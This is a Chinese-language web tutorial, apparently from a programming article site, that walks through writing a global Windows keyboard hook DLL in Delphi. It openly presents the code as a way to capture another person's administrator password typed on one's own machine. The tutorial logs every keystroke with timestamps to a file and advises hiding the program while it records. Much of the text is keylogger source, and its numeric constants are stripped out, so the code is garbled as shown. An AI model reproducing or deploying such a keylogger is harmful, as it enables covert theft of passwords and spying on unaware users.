您现在的位置是:首页
>
Windows内核编程 Delphi编程使用HOOK监视Windows
Del hi编程使用HOOK监视Wi dow 每个程序都有自己的生存空间 在Wi dow 系统中你可以在任何时候让你的程序执行一些操作 还可以触发消息 触发的消息分为三种 一是操作你程序的界面 o C
Delphi编程使用HOOK监视Windows

每个程序都有自己的生存空间 在Windows系统中你可以在任何时候让你的程序执行一些操作 还可以触发消息 触发的消息分为三种 一是操作你程序的界面 onClick onMouseMove等等 另外一个可以使用Windows的消息机制来捕获一些系统消息 但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了 虽然还有其他方法 但不得不承认 HOOK是一个比较简单解决问题的途径 下面就来举个例子(使用Delphi 调试通过) 如果你需要访问某个人的机器 那在运行\SB之后那个人就会在你机器上敲入他的adminsitrator密码 当然 你也可以使用黑客工具来得到他的密码 但是 为什么不自己尝试一下写个程序记录所有的键盘操作呢? 首先需要申明一点 Hook不同于一般的应用程序 需要作为一个全局DLL出现 否则无法在你程序不激活的状态捕获其他信息的 (当然你可以用Windows消息 这个问题不在这里讨论) 写个DLL定义一下函数 function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; procedure EntryPointProc(Reason: Integer); const hMapObject: THandle = ; begin case reason of DLL_PROCESS_ATTACH: begin hMapObject := CreateFileMapping($FFFFFFFF nil PAGE_READWRITE SizeOf(THookRec) _CBT ); rHookRec := MapViewOfFile(hMapObject FILE_MAP_WRITE ); end; DLL_PROCESS_DETACH: begin try UnMapViewOfFile(rHookRec); CloseHandle(hMapObject); except end; end; end; end; procedure keyhookexit;far; begin if hNexthookproc<> then endkeyhook; exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hNexthookproc<> then begin unhookwindowshookex(hNexthookproc); hNexthookproc:= ; messagebeep( ); end; result:=hNexthookproc= ; MainHandle:= ; end; function Setkeyhook:bool;export; begin hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD keyboardhookhandler HInstance ); result:=hNexthookproc<> ; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var s:Tstringlist; begin if icode< then begin result:=CallNextHookEX(hNexthookproc icode wparam lparam); exit; end; if lparam< then begin exit; end; s:=TStringlist Create; if FileExists(afilename) then s LoadFromFile(afilename); //将敲打的键盘字符保存到文件中 s Add(formatdatetime( YYYYMMDD hh:nn:ss:zzz: now) + char(wParam) ); s SaveToFile(afilename); s Free; result:= ; end; Dll的Project文件中定义如下 exports setkeyhook index endkeyhook index SetMainHandle index ; begin hNexthookproc:= ; procsaveexit:=exitproc; DllProc := @EntryPointProc; EntryPointProc(DLL_PROCESS_ATTACH); end 这样DLL就定义好了 接下来就是画个界面 function setkeyhook:bool;external keyspy dll ; function endkeyhook:bool;external keyspy dll ; procedure SetMainHandle(Handle: HWND); external keyspy dll ; //开始捕获键盘 SetMainHandle(handle); setkeyhook //中止捕获键盘 endkeyhook 然后吧你程序隐蔽起来 启动捕获键盘 在中止捕获之前 所有键盘操作都会被记录到你所定义的filename这个文件名中去 注 这些代码是临时写的 仅是为了说明如何写个hook程序 另外Hook的功能不仅仅是简单使用 这就需要靠大家灵活运用了 可以跟很多windows API来配合 通过很多技巧作出让人意想不到的效果 lishixinzhi/Article/program/Delphi/201311/24671
很赞哦! (1045)